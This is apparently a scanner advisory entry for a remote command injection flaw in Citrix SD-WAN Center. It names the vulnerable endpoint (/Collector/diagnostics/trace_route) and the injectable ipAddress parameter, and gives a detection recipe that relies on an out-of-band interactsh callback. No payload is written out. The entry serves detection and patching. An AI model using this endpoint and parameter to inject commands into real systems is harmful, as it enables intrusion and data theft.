Readycheck to confirm it

Citrix SD-WAN Center is susceptible to remote command injection via the trace_route function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.

Fix

Apply the necessary patches or updates provided by Citrix to mitigate the vulnerability.

How to confirm it

Send: GET /login ; POST /Collector/diagnostics/trace_route
Positive when: contains(body_1, "<title>Citrix SD-WAN</title>") AND contains in interactsh_protocol "http"
